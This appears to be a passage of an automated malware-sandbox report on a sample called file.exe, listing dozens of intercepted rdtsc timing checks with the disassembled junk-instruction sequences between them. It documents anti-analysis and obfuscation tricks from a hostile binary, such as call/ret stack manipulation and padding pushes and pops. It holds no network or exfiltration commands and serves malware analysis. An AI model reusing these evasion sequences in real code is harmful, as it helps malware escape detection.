Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1439 second address: 12D143F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D143F second address: 12D1445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1445 second address: 12D1449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D171E second address: 12D174E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E3CB812F4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D174E second address: 12D1769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F6E3CB7CFE6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D2D0Ch], edx 0x00000013 push 00000004h 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1769 second address: 12D1774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6E3CB812E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1774 second address: 12D177A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D177A second address: 12D177E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1C42 second address: 12D1C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1EEE second address: 12D1F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jnp 00007F6E3CB812E6h 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1F02 second address: 12D1F0C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1F0C second address: 12D1FA4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E3CB812E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F6E3CB812E8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 xor edi, dword ptr [ebp+122D2270h] 0x0000002b push edx 0x0000002c call 00007F6E3CB812F5h 0x00000031 jmp 00007F6E3CB812F6h 0x00000036 pop ecx 0x00000037 pop ecx 0x00000038 lea eax, dword ptr [ebp+124829DFh] 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F6E3CB812E8h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 0000001Ah 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 or dx, 359Fh 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 jnl 00007F6E3CB812E6h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1FA4 second address: 12D1FAE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1FAE second address: 12D1FF7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6E3CB812E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c jnl 00007F6E3CB812E8h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 nop 0x00000016 push edx 0x00000017 movsx ecx, dx 0x0000001a pop edx 0x0000001b lea eax, dword ptr [ebp+1248299Bh] 0x00000021 mov ecx, dword ptr [ebp+122D35D2h] 0x00000027 nop 0x00000028 jmp 00007F6E3CB812F0h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 ja 00007F6E3CB812ECh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1FF7 second address: 12B0721 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a clc 0x0000000b call dword ptr [ebp+1244B9F9h] 0x00000011 push edx 0x00000012 push edi 0x00000013 jl 00007F6E3CB7CFE6h 0x00000019 pop edi 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13083D1 second address: 13083D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13083D7 second address: 1308410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E3CB7CFF7h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F6E3CB7CFF7h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13087BF second address: 13087DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6E3CB812F3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13087DD second address: 13087E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13087E1 second address: 13087ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6E3CB812E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13087ED second address: 1308801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3CB7CFEEh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308801 second address: 1308822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jl 00007F6E3CB812E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308942 second address: 1308948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308948 second address: 130894D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308B08 second address: 1308B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308B0C second address: 1308B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308B12 second address: 1308B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF1h 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F6E3CB7CFE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A6D4 second address: 130A6EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB812F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A6EA second address: 130A6F4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A6F4 second address: 130A715 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F6E3CB812ECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A715 second address: 130A71C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130EB43 second address: 130EB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130EB49 second address: 130EB53 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130EB53 second address: 130EB67 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F6E3CB812E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130EB67 second address: 130EB6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130ECE0 second address: 130ECF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3CB812F0h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130ECF6 second address: 130ECFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130E6FF second address: 130E704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130E704 second address: 130E713 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6E3CB7CFEAh 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130F55D second address: 130F570 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F6E3CB812E6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130F6D7 second address: 130F723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB7CFEFh 0x00000009 popad 0x0000000a jmp 00007F6E3CB7CFF5h 0x0000000f pushad 0x00000010 jmp 00007F6E3CB7CFF5h 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F6E3CB7CFE6h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13157A7 second address: 13157BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13157BB second address: 13157C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F6E3CB7CFE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315922 second address: 1315928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315928 second address: 1315932 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315932 second address: 1315948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812EBh 0x00000007 pushad 0x00000008 jo 00007F6E3CB812E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315948 second address: 1315974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6E3CB7CFE6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f ja 00007F6E3CB7CFE6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jmp 00007F6E3CB7CFF1h 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315974 second address: 131597A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131597A second address: 1315983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315ABB second address: 1315AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315AC9 second address: 1315ACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315ACF second address: 1315AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317E17 second address: 1317E21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317F8C second address: 1317F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317F90 second address: 1317F96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317F96 second address: 1317FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317FA2 second address: 1317FA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317FA8 second address: 1317FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6E3CB812E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DA1C second address: 131DA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6E3CB7CFE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D088 second address: 131D08C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D08C second address: 131D092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D092 second address: 131D09C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D09C second address: 131D0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D0A0 second address: 131D0B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D0B6 second address: 131D0BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D276 second address: 131D27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323382 second address: 1323398 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF1h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321D9D second address: 1321DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB812F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321DB2 second address: 1321DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321DB6 second address: 1321DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6E3CB812E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321F14 second address: 1321F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F6E3CB7CFEEh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322351 second address: 1322356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13258CE second address: 13258D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13258D7 second address: 13258F1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F6E3CB812EFh 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1325C0B second address: 1325C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B959 second address: 132B976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6E3CB812EEh 0x0000000a jl 00007F6E3CB812E6h 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 pushad 0x00000015 ja 00007F6E3CB812E6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B976 second address: 132B98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6E3CB7CFE6h 0x0000000a popad 0x0000000b ja 00007F6E3CB7CFEAh 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B98E second address: 132B99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 jnp 00007F6E3CB812EEh 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C21F second address: 132C230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F6E3CB7CFE6h 0x00000009 jns 00007F6E3CB7CFE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331D66 second address: 1331D76 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F6E3CB812E6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331121 second address: 133112C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133112C second address: 1331138 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6E3CB812E6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331138 second address: 133117E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6E3CB7D003h 0x00000008 jmp 00007F6E3CB7CFEAh 0x0000000d jmp 00007F6E3CB7CFF3h 0x00000012 ja 00007F6E3CB7CFE8h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push edi 0x0000001c push edx 0x0000001d pop edx 0x0000001e jmp 00007F6E3CB7CFEEh 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133117E second address: 1331191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331191 second address: 1331195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331195 second address: 133119B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133132B second address: 1331330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331330 second address: 1331371 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F7h 0x00000007 pushad 0x00000008 jmp 00007F6E3CB812EEh 0x0000000d jmp 00007F6E3CB812F5h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13314D7 second address: 13314DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13314DB second address: 13314F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F6E3CB812E8h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133193F second address: 1331943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331943 second address: 1331947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331947 second address: 133194D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B92A second address: 128B930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
